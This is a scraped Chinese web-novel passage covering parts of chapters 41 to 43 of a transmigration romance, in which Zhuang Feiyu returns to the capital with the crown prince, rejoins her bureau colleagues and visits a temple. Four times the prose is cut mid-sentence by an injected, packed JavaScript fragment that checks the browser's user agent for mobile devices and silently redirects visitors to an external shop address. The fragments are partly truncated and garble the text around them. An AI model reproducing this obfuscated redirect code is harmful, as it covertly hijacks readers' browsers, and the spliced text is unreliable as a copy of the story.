庄非鱼听到这里,捏紧筷子,转头对北山鄢说: “不如我们去谷留县看看?” 北山鄢微微一笑道: “些许小事,让李州牧去办吧。” 李庚山连忙拱手: “臣定当尽心尽力,叫谷留政通令行、上下一心。” 庄非鱼还想说些什么,一张嘴,北山鄢拾了一个小馒头,正好塞进她的嘴巴: “快吃吧,往日也没见你这样多话。” 庄非鱼唔唔几声,略嚼几下,发现馒头是豆沙味的,很好吃,便一大口吃掉。 用过餐后,众人离席。 庄非鱼刚踏出门,就吓了一大跳。 楼前空地上,跪满身披黑甲的士兵,乍一看有几千人之众。 见北山鄢出来,众侍卫山呼“殿下”,齐声说着“救驾来迟,万望恕罪”之类的话。 北山鄢说了声“免礼”,东宫仆从便乌压压拥上来,随侍在他周围。 庄非鱼被挤到旁边,再旁边,最后站在角落里,看北山鄢游刃有余和属下交谈。 她远远看着,四下都是生面孔,唯独中间的北山鄢是她熟悉的人。 可天潢贵胄高不可攀的风采,又是她最陌生的样子。 忽然,北山鄢回头,叫了声“小鱼”。 庄非鱼“啊”了一声,人群便如潮水般分开,给她让出一条道来。 四周的嘈杂声戛然而止,北山鄢伸手向她,道: “一会儿没看住,你又躲去哪里了?” 庄非鱼看着那只白皙修长的手,没有动作。北山鄢见她愣神,便大踏步走过来,牵住她,带她一同离开。 * 最后,她还是没能去成谷留县。 太子失踪后,朝廷派出大批人马搜寻,除魔司也不例外。 除魔司派来的长官是郗名伟,是她领导的领导的领导,还和北山鄢有亲戚关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13093020|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 庄非鱼就这么被逮回去了。 路上几人同行,庄非鱼坐在北山鄢的马车上,见他一路信来信往,不断有官员上来汇报,谈些修订新法、官员任免等大事。 离盛京越近,北山鄢越忙碌,有时她睡了三觉起来,看见北山鄢还在写折子。 直到行至度厄山下,东宫属臣齐聚一堂,提前向北山鄢贺喜,贺其复位在即,他这才放松下来。 甚至能抽出时间,和庄非鱼、郗名伟打打牌。 这些天,庄非鱼对他的感情一点点抽离。 北山鄢越忙,她越觉得:两人不是同路人。 她只是一条咸鱼,最大的梦想就是待满游戏三年,拿几百万出去躺平。 而北山鄢……他的心思太复杂,里面装着的,何止权势、争斗、天下? 离开如意村后,似乎没有什么能让他再快乐起来。 不过这样也好,不至于在一个NPC身上泥足深陷。 等出了游戏,也许她会成为《天神》的忠实用户,到时两人再相见,以全新的模样和记忆。 庄非鱼这样想着,到了盛京,第一个便跳下马车。 没跳下去。 北山鄢一手抓住她的胳膊,不顾案几文书笔墨洒了一地。 他惊愕问: “你去哪里?” “我回出租屋喽,明天还得上班。” 庄非鱼半边身子悬在外面,转头回答他。 马车停在城门前,东宫和军中几千人本要疏散开来,分批回京,可太子还未吩咐,无人敢动。 一时车马寂静,阳光照在黑甲卫的兵刃上,刺出锋利肃杀的寒芒。 北山鄢看了她好一会儿,冷静道: “你在哪里租的房子?” 庄非鱼愣了一下,回答: “在西门灯市。” “灯市到除魔司,需走一个时辰吧。” 北山鄢放松下来,脸上甚至带着微微笑意。 “坐马车只要半个时辰。”庄非鱼答。 “卯时上衙,你起得来吗?”北山鄢笑意更深。 庄非鱼沉默了。 让她上刀山下火海都可以,可每天5、6点上班……太要命了。 “若我没记错,除魔司斥候一月是3两俸银,灯市租个能住人的房子,至少也要1两,再加上衣食行,每月下来,怕是得倒欠钱。”北山鄢继续攻心。 “我和人合租,只要五百文。”庄非鱼弱弱辩解。 想到自己住的鸽子笼,就心塞塞。 北山鄢松开她的手,一边收拾文书,一边对她说: “东宫离除魔司仅两条街的距离,如果从后门走,只需一炷香的时间……” 不等他说完,庄非鱼飞扑过去,抱住他的胳膊,大声喊: “求求你了,让我住在东宫吧!可怜可怜我这个弱小无助又能吃的小女孩吧~” 北山鄢挑眉,指了指车里狼藉: “替我收拾好。” “好的,爸爸。” 庄非鱼嘟起嘴巴,给他一个飞吻,北山鄢偏过头去,简直没眼看。 搞定庄非鱼后,北山鄢疏散人马,带着她回东宫。 路上她掀开帘子往外看。 几个月没见,盛京又繁华了许多,路边多了很多新店。 可每家都要钱。 盛京大,居不易啊。 勤勤恳恳几个月,兜里一毛都莫得。 她放下帘子心生感叹,只觉繁华都是有钱人的,和她无关。 可她没注意到,一个和她长相一模一样的小女孩,正与她擦肩而过。 41. 太子复位 庄梦蝶今年五岁半,已经一整天没打过小朋友了。 她抱着和她一样高的糖葫芦架子,竖起耳朵等呀等。 突然,一阵古朴的埙声传来,她的眼睛一亮,哒哒哒跑出去,穿过一条街,爬上房顶,大喊一声: “哥哥!” 说罢扔掉糖葫芦,飞扑过去。 昊天收回陶埙,张开双臂,将她抱起来。 庄梦蝶张开小手,捧着昊天的脸,盯着他的眼睛强调道: “我今天一整天都没有闯祸哦。” “小蝶真乖。” 昊天将她放下,摊开手心,手心里是一枚蓝色的宝石。 “喏,这个给小蝶。” “大宝石!”庄梦蝶开心地抓过去。 “这可不是宝石,这是我的眼睛。”昊□□她单眨了眨眼。 “眼睛?”庄梦蝶懵懵懂懂地看着他,那双蓝眼如同沉静的湖泊。 “可你的眼睛明明还在呀。” 她伸手指了指昊天的蓝眼珠。 “这是我的第三只眼睛。” 昊天拿过蓝宝石,凭空变出一条链子,系上宝石,戴到她脖颈上。 “戴好了,千万别丢,哥哥的性命就暂存在你这儿了。” 他拍了拍庄梦蝶的脑袋。 庄梦蝶似懂非懂点了点头。 昊天牵住她的手,从房顶轻轻飘下。 “今天想去哪里玩?”他问。 “唔……想去月亮上。”庄梦蝶指了指天空。 “月亮正在维修,不能带你上去,我们去侍神司玩好不好?”昊天哄她。 “不好!我要去灯市!”庄梦蝶牵住他的手使劲摇晃。 “好好好,去灯市。”昊天连声答应,低头点了点她的鼻尖,“你和你姐姐一样凶!” “我没有姐姐。”庄梦蝶嘟囔道。 “乱讲!”昊天脸色一冷。 庄梦蝶察言观色,怯怯咽回剩下的话。 昊天垂眸对她讲: “哥哥要离开一段时间,你要受了欺负,知道去哪里吗?” “去侍神司找穿红衣服的。”庄梦蝶脆生生答话,摇着他的手臂问: “你去哪里呀?” “去看我的仇人死了没有。” 昊天一把抱起庄梦蝶,闲庭信步走在街上。行人摩肩接踵,却无人能碰到他的衣角。 人群熙攘中,庄非鱼乘轿,与他擦肩而过。 * 轿子摇摇晃晃,到了东宫停下。 庄非鱼掀帘出来,看见威严的东宫门口,站着一堆衣着华贵的仆从。 仆从乌泱泱下跪,一些人跪着跪着,眼神暗地里瞟过来,这视线让她有些不自在。 北山鄢却视若无睹,一句“平身”后,带她迈进大门。 仆从起身,一部分人四散开来,一部分则跟在太子身后,随时听候差遣。 人一多,庄非鱼就不怎么说话了。 她走着走着,脑洞发散,想起自己小时候看过的宫斗剧,忍不住拽了拽北山鄢的袖子,小声问他: “东宫有什么要注意的规矩吗?” 比如哪哪哪不能乱去,谁谁谁不能得罪,什么东西不能乱碰,碰了就要噶掉之类的。 北山鄢诧异地望了她一眼,说道: “没什么规矩,你若是有,就告诉原总管,让下面人来守。” 话音刚落,一个清瘦干练的男子从人后出来,向庄非鱼行礼: “臣原昏晓见过姑娘,姑娘如有需要,尽可吩咐。” 庄非鱼摆了摆双手,说: “没什么,你快起来。” 看见有人下跪,她心里猫抓一样难受,好像看见自己在郦府当牛做马的奴婢生涯。 这大概就是打工人对打工人的同理心吧。 越过华丽肃穆的宫殿,北山鄢带她来到后门前的小庭院。 庭院以木樨堂为中心,四侧均衡分布各式建筑,间杂奇石佳木,均错落有致,趣味盎然。 庄非鱼向四周看了看,只觉屋室繁多,让她眼花缭乱。 她转头戳了戳北山鄢: “我住哪个房间?” 北山鄢道: “这处院子都是你的,你爱住哪个住哪个。” “哇!” 庄非鱼压抑住兴奋,小声惊呼。 北山鄢在她眼中,瞬时蒙上一层金光。 魅力+1+1又+1。 她捧着脸,盯着北山鄢,盯到他无所适从。 “为何这样看我?”北山鄢问她。 “因为你好有钱。” 庄非鱼用亮晶晶的、看金子的眼神看着他,直看得他承受不住,垂眸闪躲,才移开视线,哼着歌去挑自己的房间。 * 第二日,北山鄢天还未亮就起来了。 东宫早已备好太子朝服,侍女安静立在一旁,服侍起居。 洗漱完毕后,北山鄢吩咐下人巳时叫醒庄非鱼,便乘辇上朝,拜见父母百官。 一路进宫,见者无不跪地行礼。 天微微亮时,百官入殿,北山鄢站在一旁,和国舅郗同寅、右丞相赵逢生聊了几句。 卯时一刻,皇后搀扶着皇帝入殿,两人齐齐坐上皇位。 二圣临朝,群臣跪下高呼万岁,永煦帝眼睛湿润,只盯着儿子仔细瞧,竟忘了唤起大臣。 直到皇后郗如许轻轻拍了他一下,他才猛然惊醒,用沙哑的声音道: “众卿平身。” 随后咳嗽许久,一字一顿道: “有本奏来。” 朝堂寂静一瞬,左丞相郗同寅上前几步,朗声道: “臣有本奏。 臣举荐北山鄢复立皇太子之位。” “好,”永煦帝身躯前倾,气喘道:“快快奏来。” “禀皇上,立嗣一事,关系国本。……永煦十三年,皇子北山鄢入鄢州治旱、虫、饥、疫,赈济调粟,养恤除害……永煦十五年治水,筑堤防洪,兴修水利,上阵带领百姓抢险……永煦十七年入南方——” 听到这里,永煦帝按耐不住,忽然一阵天崩地裂的咳嗽。皇后连忙掏出手帕递到他唇前,另一只手轻抚他的后背。 永煦帝偏头,呕出一大口黑血来。 他孱弱伸手,缓缓一挥,想示意郗丞相继续念,可一张口,又是一捧黑血。 北山鄢急上前两步,突然顿住,一股悲哀涌上心头。 永煦帝年轻时,是个爱角斗、爱骑射的勃勃青年,现在上了年纪,身体越发不好了,一天三顿拿药当饭吃。 “扶陛下回去吧。” 郗如许示意左右,宫女太监连忙扶起永煦帝,带他离席。 这样的事情已发生过很多次,诸臣见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268295|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪不怪,待陛下走后,郗同寅继续念下去。 念完北山鄢这十年治灾修路、兴文抑贪的功绩后,郗同寅跪下,肃然道: “臣恳请陛下复立太子,以安天下之心。” 右丞相赵逢生站出来,高声道: “臣附议。” 随后群臣皆向前一步,此起彼伏道: “臣附议。” 一个陛下走了,另一个陛下还在。 郗如许听完,含笑道: “钦天监拟个吉日,报侍神司,由礼部准备册封大典。” 北山鄢跪下谢恩,文武百官随后退朝。 正当他转身要走时,郗如许招了招手: “阿鄢。” 北山鄢停住脚步。 郗如许用湿帕子擦干净指尖黑血,缓步走下来,将他从头到脚,仔仔细细看了一遍。 看完一声感叹: “十年没见了。” “十年再五个月。”北山鄢垂眸答话。 “十年再五个月,”郗如许低声重复一遍,抬头微笑道: “留下来吃顿饭吧,让妈妈好好看看你。” 北山鄢没有应声,沉默片刻,他问: “父皇近况如何?” “老毛病了。”郗如许叹了口气:“可怜夜半虚前席……” 不问苍生问鬼神。 北山鄢在心里默默补上后半句。 永煦十二年那场大旱后,永煦帝从此不问政事,只是疯狂求仙问神。 与他求道之心相悖的,是每况愈下的身体。 母子二人走到乾元宫,北山鄢挥退侍从,掀开帘子看了看父亲。 父亲沉睡着,身体虚浮,脸颊发青,眼角有亮亮的水迹。 北山鄢掏出手帕给他擦了擦,又看了好一会儿,方才悄声离开。 郗如许在门外等他,那双和北山鄢相似的凤眼微微垂下,如潭水般深不见底。 见北山鄢出来,她凝声道: “听说你带回来一个姑娘。” 北山鄢答:“是。” “这可真是稀奇。”郗如许含笑问: “她有什么值得图谋的?” 北山鄢说:“她给了我一颗心。” 这回答超出郗如许的预料,她用猜疑又审视的眼神望着北山鄢。 那眼神倏忽不见,一瞬间又恢复母亲的慈悲来。 北山鄢视若无睹,只是拱手道: “若无事,儿子先告退了。” “果然心不在了。”郗如许嗔笑一句,拍拍他的手臂,说:“至少也要见见你妹妹吧。” 说罢吩咐侍女:“去抱青公主过来。” 北山青是早产儿,从小身体不好,小小一团棉花似的。北山鄢接过妹妹逗了一会儿,见她体弱不能见风,就让奶娘又抱回去。 母子俩吃了一顿早不早、午不午的饭,桌上郗如许问他这十年的见闻,他一并答了。吃完饭,便急匆匆离开。 刚走出宫门,东宫侍从便上前禀告: “殿下,朝中诸官拜见,郗丞相已等候多时了。” 北山鄢沉吟片刻,忽然问他: “小鱼起来了吗?” 仆从一愣,很快回答: “庄姑娘刚起来,已去除魔司报道了。” 北山鄢揉了揉眉心,道: “回东宫。” 42. 必须扣钱 另一边,庄非鱼元气满满踏进除魔司斥候部小院,两手推门,张开手臂大喊一声: “亲爱的同事,你们的小鱼同学回来啦!” 几个同事手中握牌,脸上贴着白色条子,四脸懵逼看着她。 “你们又趁我不在偷偷打牌?!” 庄非鱼当即愤怒起来,大喊: “告到朝廷,我要告到朝廷!” 李念儿尴尬地撕下条子,起身辩解: “是你自己没在嘛……” “那我现在在了,加我一个。” 庄非鱼撸起袖子就要抢牌,苏巧巧眼神飘忽,手上却死守住牌,不让她夺取半点。 翟流云拨开脸上条子,解释道: “不是我们不带你玩,是你实在太离谱,十局十胜这是人干事?” 三人都不让庄非鱼进来,唯独胖乎乎的郗名伟不介意。 他撕下满脸条子,笑呵呵安慰庄非鱼: “别人不跟你玩,我跟你玩。” 郗名伟是郗丞相的独子,关系户一枚,一来就成了李念儿上司的上司。 虽然他智商不怎么高,但家境富裕,为人善良,和斥候部几人玩得很好。 手上没活时,他就过来串门,顺便打打牌,被斥候部几个打工人薅一手羊毛。 李念儿咳嗽一声,转移话题: “一会儿去薛参事那里报道一声,将你名字划掉。” “为什么要划名字?”庄非鱼一怔。 她以前出差可没听说要划什么名字。 李念儿几人看天的看天,看地的看地,抠指甲的抠指甲,就是不看她。 庄非鱼逮住最好欺负的郗名伟,问他: “伟哥,我要划什么名字?” 郗名伟尴尬一笑,道: “这不你失踪几个月了嘛,大家就给你报了死亡……” 眼看庄非鱼眼神越发凶残,他马上补充: “但是死亡有抚恤,10两银子。” 庄非鱼眼神转为和善,微笑道: “早说嘛,快拿来。” 苏巧巧抠抠搜搜从腰包里掏出银子,等庄非鱼去拿时,故意举高手臂: “请吃饭!” “老地方。”庄非鱼跳起来抢过去。 没想到天降横财,庄非鱼美滋滋装进腰包,去薛参事那里划名字。 她进去时,薛参事正在浇花,听她说罢,哼了一声: “既然你没死,那死亡抚恤的10两银子得还回来。” 庄非鱼如遭雷劈,一把护住腰包。 “愣着干什么,还不还回来?”薛参事屋里的狗腿语气不善。 庄非鱼咬着牙,磨磨蹭蹭拿出还没焐热的银子。 狗腿一把夺回。 庄非鱼悲痛欲绝,瘪着嘴尽量不哭出声。 她连告退都不想说,划了名字便转身离开。 “砰”的一声,薛参事关上房门,和狗腿子开始蛐蛐其他人。 “你看斥候部那几个,啧啧啧。” “这个庄非鱼穷的底朝天,半点人脉都没有。” “那李念儿,一介妇孺能成什么事?” “翟流云也是浪荡,堂堂大理寺卿的儿子,跟一群女生瞎混。” “还有郗名伟这个关系户,要是没有个丞相爹,能爬到咱们头上?” “哎,世道不公啊,身边净是些妖魔鬼怪。” “谁让咱们在除‘魔’司。” “哈哈哈哈,薛兄大才。” 几人一阵哄笑。 庄非鱼没管他们,行尸走肉般回到斥候部。 回去后看见几个同事,哇的一声: “我的钱钱没有了,呜呜呜。” “啊?”李念儿微张着嘴,然后拍了拍她的肩膀道: “意料之中。没事,我们请你吃饭,庆贺小鱼安全回来。” “不吃小李汤饼。”庄非鱼抽泣道。 “好,吃翠微楼。”李念儿连声答应。 “翠微楼我家有股,我请。”郗名伟站出来,胸膛拍得邦邦响。 “呜呼,伟哥威武!”苏巧巧欢呼一声。 郗名伟嘿嘿一笑,对庄非鱼说: “但你得告诉我,你和我太子表哥是什么情况?” “什么什么情况?”苏巧巧听到八卦,双眼放光。 郗名伟神秘兮兮说: “你们还不知道吧,小鱼是和太子殿下一起回来的。” “哇哦!”众人一阵惊呼。 “路上他们乘坐一辆马车。” “哇呜!”众人又是一阵惊呼。 “他们还——唔唔唔。” “闭嘴吧你!”庄非鱼跳起来捂住他的嘴巴。 “哦~不让伟哥说,那你自己来说。”苏巧巧笑得像狐狸一样。 “说什么?说——我最近新学了一门功法。”庄非鱼转移话题。 “功法?” 几人对视一眼,李念儿使了个眼色,道: “巧巧,试试她。” 入除魔司后,官府会给出外勤的人传授些防身功法,以往庄非鱼都是考核垫底。 但经过柴师父训练后,她的自信心暴涨。 庄非鱼带着胜券在握的微笑,看苏巧巧动作。 苏巧巧微微俯身,手肘向后摸向腰间,抽出半臂长的短棍,在空中一挥,短棍骤地变长,直奔庄非鱼脖颈。 庄非鱼猛一低头,避开棍子,右手顺势拔出腰间长剑,抬头时,剑已抵到苏巧巧心脏。 苏巧巧先是懵圈,回过神来,用震惊震撼到不可思议的眼神看着她。 “承让。” 庄非鱼手腕翻转,收回缺剑,得意一笑。 还没等利刃归鞘,李念儿便向翟流云递了个眼神。 翟流云眯了眯眼,翻身拾起不远处的斧子,当头砍过来。 庄非鱼剑收到一半突然停住,一个侧身,先躲过他的攻势,随后左手一按剑柄,弹出残刀,刀刃直抵翟流云后腹腰子。 翟流云双臂举斧,悬在空中。感受到后腰凉意后,一松手腕,斧头直直落到草地上,发出两声钝响。 他面容扭曲,举高双手,连声投降。 庄非鱼没有理会,视线越过他,直直落到三米开外的李念儿身上。 “真是士别三日,当刮目相待。” 李念儿柔声细语,婉转好似撒娇。 她这个人越是兴奋,语气越是柔婉。 庄非鱼死死盯着她,看她俯身低头,慢条斯理打开银白小箱。 脸颊的发丝晃啊晃,晃到微垂的右眼上。 庄非鱼趁此机会,踩住翟流云的靴子向上一跳,一手残刀,一手缺剑,如沙鸥般俯冲,猛扑向李念儿。 李念儿安安静静蹲在那里,挑出一柄银色小伞。 她轻轻地、随意地打开这个“玩具”,铛的一声,伞尖挡住庄非鱼的剑尖。 庄非鱼用力一进,小伞却纹丝不动。 她右手缺剑受阻,左手残刀却未停下,刀刃直插李念儿右眼。 李念儿用银伞抵着剑尖,手臂向上斜举,用庄非鱼的剑,挡住庄非鱼的刀。 庄非鱼调转残刀方向,向左一挥,李念儿向左一挡;向右一挥,李念儿向右一挡。 最后向前一压,左刀横抵、右剑斜倚庄非鱼的脖颈。 两人对视许久,庄非鱼长呼一口气,泄气道: “我认输。” 李念儿微微一笑,合上小伞,庄非鱼收回刀剑,剑尖已然磕碰缺口。 晃了晃酸麻的手臂,她感叹道: “念儿不愧是念儿,我还以为自个儿练了这么久,至少也能挡你三招呢。” 李念儿用小伞轻敲庄非鱼的手背,训诫道:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268296|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “让你平时不注意打熬筋骨,只想着以巧取胜。可习武一道,力、巧、劲、思缺一不可。尤其是我们这行当,半分都不能偷懒,差一寸,便是生死之隔。” 庄非鱼眨巴眼睛听着,右手酸痛到颤抖。 李念儿见了,立刻捧起她的手臂,轻轻打圈揉捏,活血化瘀。 苏巧巧和翟流云立马围过来,啧啧称奇。 李念儿的厉害他们早就领教过了,可庄非鱼这个学渣竟然能弯道超车? “你这掉个崖,怎么还有奇遇了?”苏巧巧凑上来震惊问。 “那当然,我可是拜了武林盟主为师的。”庄非鱼开始给她炫耀。 苏巧巧大为震撼,喃喃自语道: “掉崖奇遇,遇见太子……难道你才是女主?” 苏巧巧也是穿越过来的。只是她没穿到星际,而是直接穿进游戏里。 庄非鱼刚来除魔司应聘时,无意间比了一个“OK”的手势,被她一眼认出来了。 两个穿越者成功汇合。 庄非鱼学的理工科,苏巧巧则是文科——汉语言文学,在古代背景下格外有优势。 平时写呈文,庄非鱼都是跪求她帮忙修改的。 以往苏巧巧公文写作、为人处世、武术功夫样样比她强,现在总算能掰回一局了。 庄非鱼抽回胳膊,活动活动手腕,招呼众人: “走,我们去吃饭。” 听到这话,郗名伟连忙从角落窜出来,大喊一声: “我请客!” 几人说说笑笑出门,薛参事拉着张驴脸站在门外,老远盯着。 等他们刚踏出门,就飞速跑过来,拿起本子斥责几人: “上班早退,毫无纪律,每人扣100文!” “我也要扣吗?”郗名伟睁大豆豆眼,指着自己问。 “您当然不用,您是上官。”薛参事奉承道。 郗名伟点了点头,在怀里掏啊掏,掏出一锭金子,告诉薛参事: “她们的考勤记我账上。” “得嘞。”薛参事接过金子,满脸堆笑道:“您几位玩得开心。” 说罢一溜烟跑了。 “他跑那么快做什么?”庄非鱼纳闷问。 “坑了钱当然跑的快。”李念儿恨铁不成钢地戳戳郗名伟,道: “考勤是薛参事这种文官才有的,我们斥候部以办案论,只看点卯,哪有考勤?” “以前点卯都不算的。因斥候多在外探案,十天半个月回不了衙门,回来后自由行动是默认的补偿。” 苏巧巧恨恨道: “薛参事来后,非让我们随文官点卯,工资一分没涨,还多了许多文书工作。” “这样的长官惯会刁难人。” 翟流云没好气道, “咱们出外勤可不分白天黑夜。像小鱼,一卧底就是三个月,冒着生命危险去的。若算考勤,难道她天一黑就跑回家,说自己下班了吗?” 庄非鱼一会儿看这个,一会儿看哪个。 她没经历过大家口中“以前”的生活,一来就有点卯,所以没什么实感。 但说到卧底,她突然警醒,问李念儿: “我这几个月失踪的工资算不算?” “算,怎么能不算?” 李念儿转头望着郗名伟,和善问他: “郗司正觉得呢?” 郗名伟立刻端直身体,斩钉截铁道: “必须算!谁不给你算,我自己掏钱也要给你补上。” 庄非鱼心情一下子灿烂起来。 又要多一笔小钱钱。 她看着郗名伟,调侃道: “我们这里头,好像就伟哥是文官吧,文官算考勤的话……” “扣钱!” “必须扣钱!” 几人乱作一团去抓郗名伟,郗名伟大叫着跑走。 43. 见郗名微 众人吵吵闹闹跑去吃饭。 到了翠微堂,满堂都在议论太子复位的事情。 这又提醒了几个小伙伴。她们进入包厢,关上房门,压住庄非鱼,狞笑着逼问: “快说,你和太子殿下怎么回来的?不说喂你臭鸡毛菜!” “我说说说说。”庄非鱼举起双手大喊。 几人放开手,庄非鱼坐起来整了整衣服,理了理头发,慢慢开口: “话说那天晚上,我见你们睡了,突然想到郦府后山——怎么没有茶水?” 她忽然跑题。 这才刚开了个头! 翟流云捶桌,苏巧巧赶紧给她倒上一杯热茶,亲自递到她嘴边。 “嗨呀,不用这么热情喂我喝。” 庄非鱼接过茶水,吹了吹热气,润润嗓子继续说道: “我上了后山,看见北山鄢快要掉下悬崖了,就上手拉了他一把。” “然后呢?”李念儿追问。 “然后没拉住,我俩一块儿掉下去了。”庄非鱼摊了摊手。 “可我们去崖下搜过了,没找到你们。”郗名伟疑惑道。 “你听我继续说嘛!” 庄非鱼敲了敲桌子,示意众人噤声。 她又抿了一口茶,继续道: “摔下去后,我没受伤,他伤得比较重,我就背着他瞅准一个方向跑啊跑,最后跑晕了。等醒来后,我们被一户农家人救走了。” 她刻意模糊事实,掩盖系统的存在。 “你可真是能跑。” 郗名伟恍然大悟,张开折扇,摇头感叹: “黑甲卫在沧州一寸寸搜寻,都搜出荔城了,还是没找到你们。” “嘿嘿。”庄非鱼摸了摸鼻尖,心虚一笑。 “听说太子殿下是三界难寻的美男子。” 苏巧巧猛然凑过来,朝她眨眨媚眼。 “是吗?看久了也还好。” 庄非鱼云淡风轻来了一句,惹得众人一片嘁声。 “听说殿下有宿慧,能过目不忘,是不是?”李念儿也来问。 “是有那么一些聪明,但比我还是差一点。” 庄非鱼一本正经的胡说八道,又引起一片嘁声。 “听说殿下……” “喂,到底谁才是你们的朋友啊,你们都不关心我这几个月过得好不好!” 庄非鱼咆哮。 “好吧,你这几个月过得怎么样?” 郗名伟顺着她的话问。 庄非鱼偏头一想,老实回答: “还好。” 又惊起一片嘁声。 小二端上饭菜,众人吵吵嚷嚷吃完。酒足饭饱后,苏巧巧又忍不住问: “这么一个大帅哥和你日夜相处,你心不心动。” “喔,我这么个大美女和他相处,你该问问他心不心动。” “大~美~女~”众人爆出一阵怪笑。 “笑什么笑!” 庄非鱼一拍桌子, “太子殿下已经对我一见钟情再见倾心非我不娶了,不信你们去问他。” 话音刚落,在场笑声戛然而止。 所有人都呆呆望着门口。 庄非鱼只觉肩膀一沉,偏头一看,是一只修长如竹的手。 顺着那只手,她的视线向上,看见北山鄢俊秀清隽的侧脸。 一定是看错了。 庄非鱼若无其事转头,支起两条胳膊,从脸颊捂到头顶。 装成鸵鸟就看不见当事人。 北山鄢笑吟吟低头问她: “问我什么?” 庄非鱼埋住脑袋,一言不发,脚趾已经开始动工了。 怎么就管不住这张破嘴? 她再也不胡说八道了! 苏巧巧愣愣地看着北山鄢,只觉他一进来,满室生辉。 她前半生见过那么多美人,可没有一个比得上北山鄢的。 连她的前前前前任也不能。 她心想:小鱼这死丫头下手可真快,不挑则已,一挑就是个顶级美人。 其余几人被美貌震慑过后,突然反应过来,离桌跪下: “拜见太子殿下。” “不必多礼。”北山鄢微微抬手,道: “我来接小鱼回去。” “回哪去?下午还要上班呢。” 庄非鱼扒开胳膊,抬头问他。 “去皇天寺逛逛,我替你告过假了。”北山鄢施施然道。 一听不用上班,庄非鱼立刻支棱起来了。 她神采奕奕地站起身来,向众伙伴挥挥手告别。 在伙伴们“你个狗东西重色轻友出去玩不带我们”、“上班第一天就翘岗什么水平”、“什么档次竟敢抓殿下的手”、“你小子真叫你搞到美人了”的复杂眼神中,牵住北山鄢的手飘飘然离开。 * 皇天寺分为内外两院,外院是接待普通香众信客的,内院则接待王公贵族,轻易不开放。 轿夫避开人声鼎沸的外院,带两人停在一清静之处。 因太子要来,寺院一片警戒,隐蔽埋伏许多暗卫,护佑殿下安全。 庄非鱼一时未觉,反而嘀咕北山鄢不会逛庙,尽往犄角旮旯钻。 北山鄢点了点她的额头道: “清幽静寂,方有桃源。” 不远处是建在高地的寺庙,周围一大片银杏林。五月绿茵郁郁葱葱,时有小鸟啾啾,野兔跳过。 两人拾级而上,庄非鱼去捡地上的银杏叶,北山鄢负手跟着,不让她走丢。 “本想带你尝尝皇天寺的素斋,没想到你早早用了餐。” 北山鄢悠悠一句。 听到这话,庄非鱼抱住一捧银杏叶,瞪大眼睛站起来: “我还能吃!” “能吃什么?” “吃素斋啊。” “素斋没有了,你看路边有什么果子能吃,上树摘一些。” 北山鄢一个劲逗她。 庄非鱼抓起一把银杏叶浇到他头上,北山鄢连忙闪躲,接一拢叶子泼向她。 两人像小孩一样幼稚互泼,一时之间木叶纷飞。 庄非鱼占了下风,心有不甘。她眼珠一转,扑过来时佯装摔倒,北山鄢果然中计,扔开叶子接住她。 庄非鱼反手环住他的脖颈,望着他轻颤的眼睫,嘿嘿一笑。 手一松,将银杏叶当头扔下,洒满他的肩膀。 北山鄢没有说话,眼眸垂下,眨也不眨地望着她。 孤云行过,树影婆娑,上面是斑驳摇曳的绿意,下面是随风颠倒的绿叶。 庄非鱼望着他的眼睛,心跳像被他的眼神牵动一样,欢呼雀跃,又寂静无声。 两人越靠越近,似在梦中,忽然一道声音传来。 “表哥!” 庄非鱼瞬间惊醒,手忙脚乱推开北山鄢,向一侧望去。 一个身着紫衣,发髻松松挽起的貌美姑娘,正手提花篮,吃惊地盯着他们。 北山鄢站直身体,抚了抚衣袖,沉吟道: “郗名微。” 郗名微福了福身,精灵般烂漫道: “是我呀。我正采着茶花,预备供奉佛前,没曾想走到这里遇见表哥。” 她晃了晃篮子,一篮子茶花娇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268297|133376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俏可爱。 说罢走过来,望着庄非鱼,嫣然道: “这便是救了表哥的女子吧,你叫——” “我叫庄非鱼。” 庄非鱼有些尴尬,但见她落落大方,毫无取笑之意,便也回了。 “子非鱼,安知鱼之乐……好名字。” 郗名微赞了一句,转头对北山鄢微笑道: 